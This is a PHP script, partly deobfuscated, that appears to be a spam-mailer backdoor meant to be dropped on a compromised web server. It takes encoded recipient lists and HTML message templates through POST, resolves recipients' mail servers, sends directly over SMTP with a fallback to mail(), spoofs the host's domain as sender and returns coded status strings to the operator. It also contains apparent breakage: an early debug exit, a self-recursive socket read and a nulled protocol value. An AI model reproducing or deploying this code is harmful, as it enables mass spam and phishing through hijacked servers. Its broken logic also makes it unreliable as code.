$r76="F[ Cp\\wUu2jGoB;0i_SN\tn%Vg)ZI^sTRyvL{\$:=1*mE+JW(q4.t'`a!\"#edb?"; // @error_reporting(NULL); // @ini_set("error_log", NULL); // @ini_set("log_errors", 0); define("DNS_TYPE_MX", 0x000F); define("DNS_TYPE_A", 0x0001); define("DNS_TYPE_NS", 0x0002); define("DNS_STEP_QESTION", 1); define("DNS_STEP_ANSWER", 2); define("DNS_STEP_AUTHORITY", 3); define("DNS_STEP_ADDITIONAL", 4); define("SOCKET_TYPE_SOCKET", 1); define("SOCKET_TYPE_FSOCKET", 2); define("SOCKET_TYPE_STREAM", 4); define("SOCKET_TYPE_NO", 5); define("SOCKET_PROTO_TCP", 1); define("SOCKET_PROTO_UDP", 2); define("STEP_CONNECT", 0); define("STEP_CONNECTED", 1); define("STEP_EHLO", 2); define("STEP_MAILFROM", 3); define("STEP_RCPTTO", 4); define("STEP_DATA", 5); define("STEP_BODY", 6); define("STEP_QUIT", 7); define("STEP_COMPLETED", 8); determine_socket_type($r76, NULL); $senderEmailData = array( "toList" => "", "fromLogin" => "", "fromName" => "", "subjTempl" => "", "bodyTempl" => "", "hostFrom" => "" ); if (FALSE == getDataFromPost($r76, $senderEmailData)) { echo PHP_OS . "+" . md5(0987654321) . "+01+[[]] "; exit; } $emailDataList = array(); for ($i = 0; $i < count($senderEmailData["toList"]); $i++) { $emailData = array( "id" => $i, "g_mailto" => "", "g_mailto+" => "", "g_mailfrom" => "", "g_mailfrom+" => "", "g_domainto" => "", "g_domainfrom" => "", "g_namefirst" => "", "g_namelast" => "", "g_body" => "", "g_subject" => "", "g_fff" => FALSE, "g_header" => "", "g_headerfrom" => "", "s_header" => "", "s_mxhost" => "", "s_mxaddr" => FALSE, "s_sock" => FALSE, "s_time" => time(), "s_step" => constant("STEP_CONNECT"), "s_port" => 25, "s_datain" => "", "s_dataout" => "", "s_trig" => FALSE, "l_err" => "", "l_done" => FALSE, "l_way" => 0, // 0 for not done, 1 for step?, 2 for using mail() "l_failsmtp" => FALSE, "l_smtp_end" => FALSE ); if (FALSE == populateEmailData($r76, $senderEmailData["toList"][$i], $senderEmailData, $emailData)) { echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . encode_data($r76, $senderEmailData["toList"][$i]) . "]] "; continue; } $emailDataList[] = $emailData; } print_r($emailDataList); exit; processSendEmails($r76, $emailDataList); // first send by sockets sendByMail($r76, $emailDataList); // then fall back to mail() printStatus($r76, $emailDataList); // print status exit; function printStatus($r76, $emailDataList) { $successes = 0; $successMethods = ""; for ($i = 0; $i < count($emailDataList); $i++) { if ($emailDataList[$i]["l_failsmtp"] == TRUE) { echo PHP_OS . "+" . md5(2222222222) . "+04+[[" . encode_data($r76, $emailDataList[$i]["g_mailto"] . " :: " . $emailDataList[$i]["l_err"]) . "]] "; } if ($emailDataList[$i]["l_done"] == TRUE) { $successMethods .= $emailDataList[$i]["l_way"]; $successes++; } } if ($successes == 0) { echo PHP_OS . "+" . md5(0987654321) . "+04+[[]] "; } else { echo "OK+" . md5(1234567890) . "+" . $successes . "+" . count($emailDataList) . "[" . $successMethods . "] "; } } function sendByMail($r76, &$emailDataList) { if (!function_exists("mail")) { return FALSE; } for ($i = 0; $i < count($emailDataList); $i++) { if ($emailDataList[$i]["l_done"] == TRUE) { continue; } if ($emailDataList[$i]["g_fff"]) { if (@mail($emailDataList[$i]["g_mailto+"], $emailDataList[$i]["g_subject"], $emailDataList[$i]["g_body"], $emailDataList[$i]["g_headerfrom"] . $emailDataList[$i]["g_header"], "-f" . $emailDataList[$i]["g_mailfrom"])) { $emailDataList[$i]["l_done"] = TRUE; $emailDataList[$i]["l_way"] = 2; } else { $emailDataList[$i]["l_done"] = FALSE; } } else { if (@mail($emailDataList[$i]["g_mailto+"], $emailDataList[$i]["g_subject"], $emailDataList[$i]["g_body"], $emailDataList[$i]["g_header"])) { $emailDataList[$i]["l_done"] = TRUE; $emailDataList[$i]["l_way"] = 2; } else { $emailDataList[$i]["l_done"] = FALSE; } } } } function processSendEmails($r76, &$emailDataList) { // while at least one socket in email list is opened... while (hasOpenedSockets($r76, $emailDataList)) { // process the emails in the list processEmailSending($r76, $emailDataList); usleep(25000); } } function smtpCloseConnection($r76, &$emailDataList, $emailId, $flunj82, $mavcb77) { if ($emailDataList[$emailId]["s_sock"] != FALSE) { close_connection($r76, $emailDataList[$emailId]["s_sock"]); } $emailDataList[$emailId]["l_err"] = "[" . $emailDataList[$emailId]["s_step"] . "]" . trim(preg_replace("/ /", " ", $flunj82)); $emailDataList[$emailId]["l_failsmtp"] = $mavcb77; $emailDataList[$emailId]["l_smtp_end"] = TRUE; return; } function processEmailSending($r76, &$emailDataList) { $startTime = time(); foreach ($emailDataList as $emailId => $emailData) { if ($emailData["l_smtp_end"] == TRUE) { continue; } if ($emailData["s_time"] + 20 < $startTime) { if ($emailDataList[$emailId]["s_step"] == constant("STEP_CONNECT") && $emailDataList[$emailId]["s_port"] != 587) { close_connection($r76, $emailDataList[$emailId]["s_sock"]); $emailDataList[$emailId]["s_port"] = 587; $emailDataList[$emailId]["s_time"] = time(); continue; } smtpCloseConnection($r76, $emailDataList, $emailId, "timeout", FALSE); continue; } switch ($emailDataList[$emailId]["s_step"]) { case constant("STEP_CONNECT"): if ($emailDataList[$emailId]["s_mxaddr"] == FALSE) { $emailDataList[$emailId]["s_mxaddr"] = @gethostbyname($emailDataList[$emailId]["s_mxhost"]); if (!@preg_match("/([0-9]{1,3}\.?){4}/", $emailDataList[$emailId]["s_mxaddr"])) { smtpCloseConnection($r76, $emailDataList, $emailId, "resolve mx", FALSE); break; } } $errno = 0; $errstr = ''; $emailDataList[$emailId]["s_sock"] = socketFactory($r76, $emailDataList[$emailId]["s_sock"], constant("SOCKET_PROTO_TCP"), $emailDataList[$emailId]["s_mxaddr"], $emailDataList[$emailId]["s_port"], 2, $errno, $errstr, TRUE); if ($emailDataList[$emailId]["s_sock"] == FALSE) { break; } if ($errno == 0 || $errno === 56 || $errno === 10056) { $emailDataList[$emailId]["s_step"] = constant("STEP_CONNECTED"); wdtjf68($r76, $emailDataList[$emailId]["s_sock"], 15); $emailDataList[$emailId]["s_time"] = time(); } break; case constant("STEP_CONNECTED"): if (rxrmp70($r76, $emailDataList, $emailId)) { $emailDataList[$emailId]["s_datain"] = ""; $emailDataList[$emailId]["s_dataout"] = "EHLO " . $emailDataList[$emailId]["g_domainfrom"] . " "; $emailDataList[$emailId]["s_step"] = constant("STEP_EHLO"); $emailDataList[$emailId]["s_time"] = time(); } break; case constant("STEP_EHLO"): if (prcux47($r76, $emailDataList, $emailId)) { if (rxrmp70($r76, $emailDataList, $emailId)) { if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) { smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE); break; } $emailDataList[$emailId]["s_datain"] = ""; $emailDataList[$emailId]["s_dataout"] = "MAIL FROM:<" . $emailDataList[$emailId]["g_mailfrom"] . "> "; $emailDataList[$emailId]["s_step"] = constant("STEP_MAILFROM"); $emailDataList[$emailId]["s_time"] = time(); } break; } break; case constant("STEP_MAILFROM"): if (prcux47($r76, $emailDataList, $emailId)) { if (rxrmp70($r76, $emailDataList, $emailId)) { if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) { smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE); break; } $emailDataList[$emailId]["s_datain"] = ""; $emailDataList[$emailId]["s_dataout"] = "RCPT TO:<" . $emailDataList[$emailId]["g_mailto"] . "> "; $emailDataList[$emailId]["s_step"] = constant("STEP_RCPTTO"); $emailDataList[$emailId]["s_time"] = time(); } break; } break; case constant("STEP_RCPTTO"): if (prcux47($r76, $emailDataList, $emailId)) { if (rxrmp70($r76, $emailDataList, $emailId)) { if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250 && substr($emailDataList[$emailId]["s_datain"], 0, 3) != 251) { smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE); break; } $emailDataList[$emailId]["s_datain"] = ""; $emailDataList[$emailId]["s_dataout"] = "DATA "; $emailDataList[$emailId]["s_step"] = constant("STEP_DATA"); $emailDataList[$emailId]["s_time"] = time(); } break; } break; case constant("STEP_DATA"): if (prcux47($r76, $emailDataList, $emailId)) { if (rxrmp70($r76, $emailDataList, $emailId)) { if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 354) { smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE); break; } $emailDataList[$emailId]["s_datain"] = ""; $emailDataList[$emailId]["s_dataout"] = $emailDataList[$emailId]["s_header"] . " " . $emailDataList[$emailId]["g_body"] . " . "; $emailDataList[$emailId]["s_step"] = constant("STEP_BODY"); $emailDataList[$emailId]["s_time"] = time(); } break; } break; case constant("STEP_BODY"): if (prcux47($r76, $emailDataList, $emailId)) { if (rxrmp70($r76, $emailDataList, $emailId)) { if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) { smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE); break; } $emailDataList[$emailId]["s_datain"] = ""; $emailDataList[$emailId]["s_dataout"] = "QUIT "; $emailDataList[$emailId]["s_step"] = constant("STEP_QUIT"); $emailDataList[$emailId]["s_time"] = time(); $emailDataList[$emailId]["l_done"] = TRUE; $emailDataList[$emailId]["l_way"] = 1; } break; } break; case constant("STEP_QUIT"): if (prcux47($r76, $emailDataList, $emailId)) { smtpCloseConnection($r76, $emailDataList, $emailId, "", FALSE); } break; } } } function rxrmp70($r76, &$emailDataList, $emailId) { $errno = 0; $errstr = ""; if ($emailDataList[$emailId]["s_trig"] == FALSE) { if (strlen($emailDataList[$emailId]["s_datain"]) != 0) { return TRUE; } return FALSE; } $data = read_socket_data($r76, $emailDataList[$emailId]["s_sock"], 4086, $errno, $errstr); if ($data == FALSE || $data == "") { if ($errno != 35 && $errno != 10035 && $errno != 11 && $errno != 10060) { smtpCloseConnection($r76, $emailDataList, $emailId, $errstr, FALSE); return FALSE; } if (strlen($emailDataList[$emailId]["s_datain"]) != 0) { return TRUE; } return FALSE; } $emailDataList[$emailId]["s_datain"] = $data; return FALSE; } function prcux47($r76, &$emailDataList, $emailId) { $errno = 0; $errstr = ""; if (strlen($emailDataList[$emailId]["s_dataout"]) == 0) { return TRUE; } $data = write_socket_data($r76, $emailDataList[$emailId]["s_sock"], $emailDataList[$emailId]["s_dataout"], $errno, $errstr); if ($data == FALSE) { if ($errno != 35 && $errno != 10035 && $errno != 11 && $errno != 10060) { smtpCloseConnection($r76, $emailDataList, $emailId, $errstr, FALSE); } return FALSE; } $emailDataList[$emailId]["s_dataout"] = substr($emailDataList[$emailId]["s_dataout"], $data); if (strlen($emailDataList[$emailId]["s_dataout"]) == 0) { return TRUE; } return FALSE; } function hasOpenedSockets($r76, &$emailDataList) { $socketData = FALSE; if (constant("SOCKET_TYPE") != constant("SOCKET_TYPE_SOCKET")) { foreach (array_keys($emailDataList) as $emailId) { if ($emailDataList[$emailId]["l_smtp_end"] != TRUE) { $emailDataList[$emailId]["s_trig"] = TRUE; $socketData = TRUE; } } return $socketData; } $fwcsz21 = array(); foreach (array_keys($emailDataList) as $emailId) { if ($emailDataList[$emailId]["l_smtp_end"] != TRUE) { if ($emailDataList[$emailId]["s_sock"] == 0 || $emailDataList[$emailId]["s_step"] == constant("STEP_CONNECT")) { $emailDataList[$emailId]["s_trig"] = TRUE; } else { $emailDataList[$emailId]["s_trig"] = FALSE; $fwcsz21[] = $emailDataList[$emailId]["s_sock"]; } $socketData = TRUE; } } if (count($fwcsz21) == 0) { return $socketData; } // watch for changes to all opened sockets and updates the email list of sockets accordinly. $zkvhr54 = @socket_select($fwcsz21, $kllzd89 = NULL, $ccvhx50 = NULL, 0); if ($zkvhr54 == FALSE || $zkvhr54 == 0) { return $socketData; } foreach (array_keys($emailDataList) as $emailId) { $emailDataList[$emailId]["s_trig"] = FALSE; foreach ($fwcsz21 as $xoloh2) { if ($emailDataList[$emailId]["s_sock"] == $xoloh2) { $emailDataList[$emailId]["s_trig"] = TRUE; break; } } } return $socketData; } function determine_socket_type($r76, $foo) { if (function_exists("socket_create") && function_exists("socket_connect") && function_exists("read_socket_data") && function_exists("socket_write")) { define("SOCKET_TYPE", constant("SOCKET_TYPE_SOCKET")); return TRUE; } if (function_exists("fsockopen")) { define("SOCKET_TYPE", constant("SOCKET_TYPE_FSOCKET")); return TRUE; } if (function_exists("stream_socket_client")) { define("SOCKET_TYPE", constant("SOCKET_TYPE_STREAM")); return TRUE; } define("SOCKET_TYPE", constant("SOCKET_TYPE_NO")); return FALSE; } function populateEmailData($r76, $recipientData, $senderEmailData, &$emailData) { $qivuk92 = array(); if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $recipientData, $qivuk92)) { return FALSE; } if (!isset($qivuk92) || count($qivuk92) != 5) { return FALSE; } $emailData["g_namefirst"] = @ucfirst(str_replace(";", "", $qivuk92[1])); $emailData["g_namelast"] = @ucfirst(str_replace(";", "", $qivuk92[2])); $emailData["g_mailto"] = str_replace(";", "", $qivuk92[3]); $emailData["g_domainto"] = str_replace(";", "", $qivuk92[4]); if (!isset($emailData["g_mailto"]) || $emailData["g_mailto"] == "") { return FALSE; } if (!isset($emailData["g_domainto"]) || $emailData["g_domainto"] == "") { return FALSE; } if (isset($emailData["g_namefirst"]) && $emailData["g_namefirst"] != "") { $emailData["g_mailto+"] = $emailData["g_namefirst"] . " " . $emailData["g_namelast"] . " <" . $emailData["g_mailto"] . ">"; } else { $emailData["g_mailto+"] = $emailData["g_mailto"]; } $emailData["g_domainfrom"] = $senderEmailData["hostFrom"]; if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $senderEmailData["hostFrom"]) || @ini_get("safe_mode")) { $emailData["g_fff"] = FALSE; } else { $emailData["g_fff"] = TRUE; } $emailData["g_mailfrom"] = $senderEmailData["fromLogin"] . "@" . $senderEmailData["hostFrom"]; if (isset($senderEmailData["fromName"]) && $senderEmailData["fromName"] != "") { $emailData["g_mailfrom+"] = $senderEmailData["fromName"] . " <" . $emailData["g_mailfrom"] . ">"; } else { $emailData["g_mailfrom+"] = $emailData["g_mailfrom"]; } $emailData["s_mxhost"] = getMXHosts($r76, $emailData["g_domainto"]); $emailData["g_subject"] = @str_replace("%R_NAME%", $emailData["g_namefirst"], $senderEmailData["subjTempl"]); $emailData["g_subject"] = @str_replace("%R_LNAME%", $emailData["g_namelast"], $emailData["g_subject"]); $emailData["g_body"] = @str_replace("%R_NAME%", $emailData["g_namefirst"], $senderEmailData["bodyTempl"]); $emailData["g_body"] = @str_replace("%R_LNAME%", $emailData["g_namelast"], $emailData["g_body"]); $emailData["g_body"] = @str_replace("%MAIL_EN%", encode_data($r76, $emailData["g_mailto"]), $emailData["g_body"]); $emailData["g_header"] = "X-Priority: 3 (Normal) "; $emailData["g_header"] .= "MIME-Version: 1.0 "; $emailData["g_header"] .= "Content-Type: text/html; charset=\"iso-8859-1\" "; $emailData["g_header"] .= "Content-Transfer-Encoding: 8bit "; $emailData["g_headerfrom"] = "From: " . $emailData["g_mailfrom+"] . " "; $emailData["g_headerfrom"] .= "Reply-To:" . $emailData["g_mailfrom+"] . " "; $emailData["s_header"] = "Date: " . @date("D, j M Y G:i:s O") . " "; $emailData["s_header"] .= $emailData["g_headerfrom"]; $emailData["s_header"] .= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time())) . "@" . $senderEmailData["hostFrom"] . "> "; $emailData["s_header"] .= "To: " . $emailData["g_mailto+"] . " "; $emailData["s_header"] .= "Subject: " . $emailData["g_subject"] . " "; $emailData["s_header"] .= $emailData["g_subject"]; return TRUE; } function getMXHosts($r76, $hostname) { $mlopr36 = array(); $vcnaa29 = array(); if (function_exists("getmxrr")) { @getmxrr($hostname, $mlopr36, $vcnaa29); } else { if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO")) { return FALSE; } $zkvhr54 = resolveDnsName($r76, $hostname, constant("DNS_TYPE_MX")); if ($zkvhr54 == FALSE || !isset($zkvhr54["ans"])) { return FALSE; } foreach ($zkvhr54["ans"] as $txows40) { if ($txows40["type"] == constant("DNS_TYPE_MX")) { $mlopr36[] = $txows40["data"]; $vcnaa29[] = $txows40["preference"]; } } } if (count($mlopr36) == 0) { return FALSE; } $wtqra76 = array_keys($vcnaa29, min($vcnaa29)); return $mlopr36[$wtqra76[0]]; } function getDataFromPost($r76, &$senderEmailData) { if (count($_POST) < 2) { return FALSE; } $messageEncoded = false; $listPostKey = $dataPostKey = ""; foreach (array_keys($_POST) as $key) { if ($key[0] == "l") { $listPostKey = $key; } if ($key[0] == "d") { $dataPostKey = $key; } if ($key[0] == "e") { $messageEncoded = true; } } if ($listPostKey == "" || $dataPostKey == "") { return FALSE; } $postedRecipients = getPostData($r76, $listPostKey, $messageEncoded); $postedData = getPostData($r76, $dataPostKey, $messageEncoded); if ($postedRecipients == FALSE || $postedData == FALSE) { return FALSE; } $senderEmailData["toList"] = @preg_split("/#/", $postedRecipients); $senderEmailData["fromLogin"] = $senderEmailData["fromName"] = $senderEmailData["subjTempl"] = $senderEmailData["bodyTempl"] = ""; $qivuk92 = array(); if (FALSE !== @preg_match("/(.*?)<\/USER>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) { $senderEmailData["fromLogin"] = $qivuk92[1]; } if (FALSE !== @preg_match("/(.*?)<\/NAME>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) { $senderEmailData["fromName"] = $qivuk92[1]; } if (FALSE !== @preg_match("/(.*?)<\/SUBJ>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) { $senderEmailData["subjTempl"] = $qivuk92[1]; } if (FALSE !== @preg_match("/(.*?)<\/SBODY>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) { $senderEmailData["bodyTempl"] = $qivuk92[1]; } $senderEmailData["hostFrom"] = @preg_replace("/^(www|ftp)\./i", '', $_SERVER["HTTP_HOST"]); return TRUE; } function getPostData($r76, $postIndex, $messageEncoded) { if (!isset($postIndex) || $postIndex == "") { return FALSE; } $message = @$_POST[$postIndex]; if ($messageEncoded) { $message = messageDecode($r76, $message); for ($i = 0; $i < strlen($message); $i++) { $message[$i] = chr(ord($message[$i]) ^ 2); } } return urldecode(stripslashes($message)); } function messageDecode($r76, $rxuwy6) { $data = ""; for ($i = 0; $i < 256; $i++) { $vefvn90[$i] = chr($i); } $adcpo58 = array_flip(preg_split("//", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", -1, 1)); $rfsny13 = array(); preg_match_all("([A-z0-9+\/]{1,4})", $rxuwy6, $rfsny13); foreach ($rfsny13[0] as $dkpwg91) { $omqhl54 = 0; for ($i = 0; isset($dkpwg91[$i]); $i++) { $omqhl54 = ($omqhl54 << 6) + $adcpo58[$dkpwg91[$i]]; if ($i > 0) { $data .= $vefvn90[$omqhl54 >> (4 - (2 * ($i - 1)))]; $omqhl54 = $omqhl54 & (0xf >> (2 * ($i - 1))); } } } return $data; } function encode_data($r76, $input) { for ($i = 0; $i < strlen($input); $i++) { $input[$i] = chr(ord($input[$i]) ^ 2); } return base64_encode($input); } function socketFactory($r76, $fsock, $socketProtocol, $address, $port, $timeout, &$errno, &$errstr, $nonblock = false) { $protocol = ""; $socketProtocol = NULL; $socketType = NULL; $errno = 0; $errstr = ""; if ($socketProtocol == constant("SOCKET_PROTO_TCP")) { $protocol = "tcp"; $socketProtocol = SOL_TCP; $socketType = SOCK_STREAM; } else if ($socketProtocol == constant("SOCKET_PROTO_UDP")) { $protocol = "udp"; $socketType = SOCK_DGRAM; $socketProtocol = SOL_UDP; } else { $errstr = "Error: invalid protocol"; return FALSE; } switch (constant("SOCKET_TYPE")) { case constant("SOCKET_TYPE_SOCKET"): if ($fsock == FALSE) { $fsock = @socket_create(AF_INET, $socketType, $socketProtocol); if ($fsock == FALSE) { $errno = socket_last_error(); $errstr = socket_strerror($errno); break; } socket_set_option($fsock, SOL_SOCKET, SO_REUSEADDR, 1); socket_set_option($fsock, SOL_SOCKET, SO_RCVTIMEO, array( "sec" => $timeout, "usec" => 0 )); socket_set_option($fsock, SOL_SOCKET, SO_SNDTIMEO, array( "sec" => $timeout, "usec" => 0 )); if ($nonblock) { socket_set_nonblock($fsock); } } if (!@socket_connect($fsock, $address, $port)) { $errno = socket_last_error($fsock); $errstr = socket_strerror($errno); } if ($nonblock) { socket_set_nonblock($fsock); } break; case constant("SOCKET_TYPE_FSOCKET"): $fsock = @fsockopen($protocol . "://" . $address, $port, $errno, $errstr, $timeout); if ($fsock && $nonblock) { @stream_set_blocking($fsock, 0); } @stream_set_timeout($fsock, $timeout); break; case constant("SOCKET_TYPE_STREAM"): $fsock = @stream_socket_client($protocol . "://" . $address . ":" . $port, $errno, $errstr, $timeout); if ($fsock && $nonblock) { @stream_set_blocking($fsock, 0); } @stream_set_timeout($fsock, $timeout); break; default: $errstr = "Error: invalid socket type"; return FALSE; } return $fsock; } function close_connection($r76, &$fsock) { if ($fsock == FALSE) { return; } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { @socket_close($fsock); } else { @fclose($fsock); } $fsock = FALSE; return; } function read_socket_data($r76, $fsock, $bytesToRead, &$errno, &$errstr) { if ($fsock == FALSE) { return FALSE; } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { $socketData = @read_socket_data($fsock, $bytesToRead, PHP_BINARY_READ); if ($socketData == FALSE) { $errno = socket_last_error($fsock); $errstr = socket_strerror($errno); } } else { if (@feof($fsock)) { return FALSE; } $socketData = @fread($fsock, $bytesToRead); if (strlen($socketData) == 0) { $errno = 35; } } return $socketData; } function write_socket_data($r76, $fsock, $data, &$errno, &$errstr) { if ($fsock == FALSE) { return FALSE; } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { $socketData = @socket_write($fsock, $data); if ($socketData == FALSE) { $errno = socket_last_error($fsock); $errstr = socket_strerror($errno); } } else { if (@feof($fsock)) { return FALSE; } $socketData = @fwrite($fsock, $data); } return $socketData; } function wdtjf68($r76, $fsock, $timeout) { if ($fsock == FALSE) { return FALSE; } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { @socket_set_option($fsock, SOL_SOCKET, SO_RCVTIMEO, array( "sec" => $timeout, "usec" => 0 )); @socket_set_option($fsock, SOL_SOCKET, SO_SNDTIMEO, array( "sec" => $timeout, "usec" => 0 )); } else { @stream_set_timeout($fsock, $timeout); } return TRUE; } function resolveDnsName($r76, $hostname, $jvanz2) { $errno = 0; $errstr = ""; $fsock = socketFactory($r76, FALSE, constant("SOCKET_PROTO_UDP"), "8.8.8.8", 53, 10, $errno, $errstr); if (!$fsock) { return FALSE; } $lsxth41 = rand(0x0001, 0xFFFE); $uamee6 = explode("J", $hostname); $payload = pack("nnnnnn", $lsxth41, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000); foreach ($uamee6 as $sahcc1) { $payload .= pack("Ca*", strlen($sahcc1), $sahcc1); } $payload .= pack("Cnn", 0x00, $jvanz2, 0x0001); $socketStatus = write_socket_data($r76, $fsock, $payload, $errno, $errstr); if (!$socketStatus || $socketStatus != strlen($payload)) { close_connection($r76, $fsock); return FALSE; } $dnsResponse = read_socket_data($r76, $fsock, 4086, $errno, $errstr); if ($dnsResponse == FALSE || strlen($dnsResponse) < 12) { close_connection($r76, $fsock); return FALSE; } $eynrg66 = unpack("ntid/nflags/nque/nans/nauth/nadd", substr($dnsResponse, 0, 12)); $zjthw11 = 12; $dnsData = array( "header" => $eynrg66 ); for ($i = constant("DNS_STEP_QESTION"); $i <= constant("DNS_STEP_ADDITIONAL"); $i++) { $trxcp25 = ''; switch ($i) { case constant("DNS_STEP_QESTION"): $trxcp25 = "que"; break; case constant("DNS_STEP_ANSWER"): $trxcp25 = "ans"; break; case constant("DNS_STEP_AUTHORITY"): $trxcp25 = "auth"; break; case constant("DNS_STEP_ADDITIONAL"): $trxcp25 = "add"; break; } for ($ybjpw87 = 0; $ybjpw87 < $eynrg66[$trxcp25]; $ybjpw87++) { $dnsRecordData["name"] = cgzhg7($r76, $zjthw11, $dnsResponse); if ($i == constant("DNS_STEP_QESTION")) { $dnsRecordData = array_merge($dnsRecordData, unpack("ntype/nclass", substr($dnsResponse, $zjthw11, 4))); $zjthw11 += 4; } else { $dnsRecordData = array_merge($dnsRecordData, unpack("ntype/nclass/Nttl/ndatalength", substr($dnsResponse, $zjthw11, 10))); $zjthw11 += 10; switch ($dnsRecordData["type"]) { case constant("DNS_TYPE_MX"): $dnsRecordData = array_merge($dnsRecordData, unpack("npreference", substr($dnsResponse, $zjthw11, 2))); $zjthw11 += 2; $dnsRecordData["data"] = cgzhg7($r76, $zjthw11, $dnsResponse); break; case constant("DNS_TYPE_A"): $dnsRecordData = array_merge($dnsRecordData, unpack("Ndata", substr($dnsResponse, $zjthw11, 4))); $zjthw11 += 4; $dnsRecordData["ip"] = long2ip($dnsRecordData["data"]); break; case constant("DNS_TYPE_NS"): $dnsRecordData["data"] = cgzhg7($r76, $zjthw11, $dnsResponse); break; default: $zjthw11 += $dnsRecordData["datalength"]; } } $dnsData[$trxcp25][] = $dnsRecordData; } } return $dnsData; } function cgzhg7($r76, &$kwgra59, $dnsResponse) { $data = ""; $svrpc42 = $kwgra59; while (ord($dnsResponse[$svrpc42]) != 0) { if (ord($dnsResponse[$svrpc42]) == 0xC0) { if ($svrpc42 >= $kwgra59) { $kwgra59 += 2; } $svrpc42 = ord($dnsResponse[$svrpc42 + 1]); continue; } if (strlen($data) > 0) { $data .= ""; } $data .= substr($dnsResponse, $svrpc42 + 1, ord($dnsResponse[$svrpc42])); $svrpc42 += ord($dnsResponse[$svrpc42]) + 1; if ($svrpc42 > $kwgra59) { $kwgra59 = $svrpc42; } } if ($svrpc42 >= $kwgra59) { $kwgra59 += 1; } return $data; }